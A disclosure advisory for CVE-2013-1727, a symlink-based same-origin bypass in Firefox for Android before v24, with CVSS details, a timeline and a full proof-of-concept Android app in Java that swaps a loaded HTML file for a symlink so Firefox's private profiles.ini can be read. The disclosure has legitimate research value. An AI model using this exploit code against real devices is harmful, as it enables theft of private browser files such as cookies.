Firefox for Android Same-origin bypass through

2013-10-02 / 2013-10-03
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 4/10
Impact Subscore: 4.9/10
Exploitability Subscore: 4.9/10
Exploit range: Remote
Attack complexity: High
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: None

CVE Number: CVE-2013-1727 Vender Identifier: MFSA 2013-84 Title: Firefox for Android - Same-origin bypass through symbolic links Affected Software: Prior to v24 (confirmed on v14) Credit: Takeshi Terada of Mitsui Bussan Secure Directions, Inc. Issue Status: v24 was released which fixes this vulnerability Overview: Firefox for Android's Same-Origin Policy for local files (file: URI) can be bypassed by using symbolic links. It results in theft of Firefox's private files by malicious Android apps. Details: As described in MDN Document (*), Firefox allows a local file to read another file, only if the parent directory of the originating file is an ancestor directory of the target file. * https://developer.mozilla.org/en-US/docs/Same-origin_policy_for_file:_URIs However, it is possible to circumvent the restriction by a trick using symbolic link. This issue enables malicious Android apps to steal Firefox's private files such as Cookie file. As an example, steps to steal Firefox's profiles.ini are described below: 1. An attacker's app creates a malicious HTML file, and makes Firefox load its URL with file scheme. The malicious HTML contains JavaScript code which, a few seconds later, tries to read the same URL with itself via XMLHttpRequest. <u>Wait a few seconds.</u> <script> function doit() { var xhr = new XMLHttpRequest; xhr.onload = function() { alert(xhr.responseText); }; xhr.open('GET', document.URL); xhr.send(null); } setTimeout(doit, 8000); </script>"; 2. Before XHR fires, the attacker's app replaces the malicious HTML with a symbolic link pointing to Firefox's profiles.ini file. 3. When XHR fires, Firefox follows the symlink and provides the content of the profiles.ini file to the malicious HTML. Through the steps above, the attacker's app can gain the path of the Firefox's private files such as Cookie file. The attacker's app can also get the contents of those private files in a similar manner. Note: It should be noted that this issue does not matter in Firefox for normal PC platform (such as Windows OS), in which all apps are regarded as reasonably trustworthy. However it does matter in Android platform with sandbox security model intended to segretate apps. In such platforms, app developers cannot regard other apps as trustworty. By this difference in platform security model, Android apps that are ported from PC often suffer from unexpected vulnerabilities. Obviously such vulnerabilities are not specific to Firefox. In reality, I discovered such vulnerabilities in Chrome for Android last year. Chrome for Android vulnerabilities: 1. http://seclists.org/bugtraq/2013/Jan/22 2. http://seclists.org/bugtraq/2013/Jan/23 3. http://seclists.org/bugtraq/2013/Jan/24 4. http://seclists.org/bugtraq/2013/Jan/25 5. http://seclists.org/bugtraq/2013/Jan/26 (#4 is a quite similar issue as the issue described in this advisory) Proof of Concept: ///////////////////////////////////////////////////////////////// // malicious android app that steals Firefox's profiles.ini file ///////////////////////////////////////////////////////////////// package jp.mbsd.terada.attackfirefox1; import android.net.Uri; import android.os.Bundle; import android.app.Activity; import android.content.Intent; public class MainActivity extends Activity { public final static String MY_PKG = "jp.mbsd.terada.attackfirefox1"; public final static String MY_TMP_DIR = "/data/data/" + MY_PKG + "/tmp/"; public final static String HTML_PATH = MY_TMP_DIR + "A" + Math.random() + ".html"; public final static String TARGET_PKG = "org.mozilla.firefox"; public final static String TARGET_FILE_PATH = "/data/data/" + TARGET_PKG + "/files/mozilla/profiles.ini"; public final static String HTML = "<u>Wait a few seconds.</u>" + "<script>" + "function doit() {" + " var xhr = new XMLHttpRequest;" + " xhr.onload = function() {" + " alert(xhr.responseText);" + " };" + " xhr.open('GET', document.URL);" + " xhr.send(null);" + "}" + "setTimeout(doit, 8000);" + "</script>"; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); doit(); } public void doit() { try { // create a malicious HTML cmdexec("mkdir " + MY_TMP_DIR); cmdexec("echo \"" + HTML + "\" > " + HTML_PATH); cmdexec("chmod -R 777 " + MY_TMP_DIR); Thread.sleep(1000); // force Firefox to load the malicious HTML invokeFirefox("file://" + HTML_PATH); Thread.sleep(4000); // replace the HTML with a symbolic link to profiles.ini cmdexec("rm " + HTML_PATH); cmdexec("ln -s " + TARGET_FILE_PATH + " " + HTML_PATH); } catch (Exception e) {} } public void invokeFirefox(String url) { Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(url)); intent.setClassName(TARGET_PKG, TARGET_PKG + ".App"); startActivity(intent); } public void cmdexec(String cmd) { try { String[] tmp = new String[] {"/system/bin/sh", "-c", cmd}; Runtime.getRuntime().exec(tmp); } catch (Exception e) {} } } Timeline: 2012/08/14 Reported to Firefox 2013/09/17 Vender announced v24 2013/09/30 Disclosure of this advisory Recommendation: Upgrade to the latest version. Reference: http://www.mozilla.org/security/announce/2013/mfsa2013-84.html -- Takeshi Terada Mitsui Bussan Secure Directions, Inc. http://www.mbsd.jp/

References:

http://www.mozilla.org/security/announce/2013/mfsa2013-84.html


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top